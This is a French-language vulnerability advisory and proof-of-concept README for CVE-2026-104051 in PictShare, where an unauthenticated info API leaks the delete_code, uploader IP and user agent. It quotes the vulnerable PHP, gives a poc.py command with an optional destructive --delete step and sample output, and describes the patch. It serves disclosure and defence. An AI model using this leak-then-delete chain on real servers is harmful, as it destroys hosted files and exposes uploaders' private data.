Divulgation d'informations sensibles via l'API info dans PictShare < 3.7.1 (CWE-522). PoC + rapport d'avis.
info dans PictShareRecherche de sécurité autorisée. PoC à usage défensif et éducatif uniquement.
Le point de terminaison /api/info/<hash> de PictShare
renvoie l'objet de métadonnées brutes complet pour tout fichier téléversé — y compris le
delete_code secret qui autorise la suppression, ainsi que l'IP du téléverseur, le User-Agent,
le port distant et le SHA-1. Un attaquant non authentifié qui connaît le hash (publiquement
visible) d'un fichier peut lire son delete_code puis supprimer définitivement des fichiers
hébergés arbitraires.
| CVE | CVE-2026-104051 |
| Produit | PictShare (hébergeur d'images/médias auto-hébergé) |
| Affecté | >= 2.0.0, < 3.7.1 |
| Corrigé dans | v3.7.1 |
| Vulnérabilité | Identifiants insuffisamment protégés (CWE-522) → suppression arbitraire de fichiers + perte de confidentialité |
| Privilèges | Aucun (non authentifié) |
| CVSS 3.1 | 8.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H |
| CVSS 4.0 | 8.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H |
| Découvert par | Alisher Qarshibayev |
| Avis | VulnCheck |
API::info() recherche le hash et renvoie getMetadataOfHash() tel quel — sans liste
blanche de champs :
// src/inc/api.class.php (< 3.7.1)
public function info()
{
$hash = $this->url[1] ?? '';
if (!$hash) return ['status' => 'err', 'reason' => 'Missing hash'];
if (!isExistingHash($hash)) return ['status' => 'err', 'reason' => 'Hash not found'];
return getMetadataOfHash($hash); // <-- raw meta.json, includes delete_code, ip, useragent
}
Et checkPermissions() — le seul contrôle avant la route info — vérifie la possibilité
d'écriture sur le système de fichiers, pas l'identité, de sorte que info est accessible
sans authentification :
public function checkPermissions()
{
if (!isFolderWritable(getDataDir())) throw new Exception('Data directory not writable');
else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}
Les métadonnées renvoyées contiennent delete_code, que l'API de suppression accepte comme
unique secret d'autorisation :
// src/inc/api.class.php delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);
Les hash de fichiers sont publics (ils apparaissent dans chaque URL d'image partagée), donc
toute la chaîne — fuiter le code via info, puis supprimer via delete — ne nécessite
rien d'autre que l'URL qu'un utilisateur a déjà partagée.
python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step
Résultat attendu :
[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
delete_code : 7f3a9c1e... <-- SECRET, should never be exposed
ip : 203.0.113.44 <-- uploader privacy leak
useragent : Mozilla/5.0 ...
remote_port : 51544
sha1 : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}
Voir poc.py. La suppression est optionnelle (--delete) afin que
l'exécution par défaut soit en lecture seule et non destructive.
Mettre à niveau vers PictShare 3.7.1 (commit de correction ce5fc47).
info() renvoie désormais une liste blanche stricte (mime, size, hash, sha1, uploaded)
et ne fuite plus delete_code, ip, useragent ni remote_port. Recommandation générale :
les réponses d'API doivent explicitement définir une liste blanche de champs ; ne jamais
sérialiser un enregistrement interne qui mélange secrets et données publiques.
Associé : CVE-2026-104356 — même sans cette fuite, le
delete_codeétait prévisible car généré avecrand().
| Date | Événement |
|---|---|
| 2026-10-01 | Divulgation publique, CVE réservé et publié (VulnCheck), corrigé dans la v3.7.1 |
Divulgué de manière responsable au fournisseur et coordonné via VulnCheck. Corrigé avant la publication de ce PoC. Publié à des fins défensives et éducatives.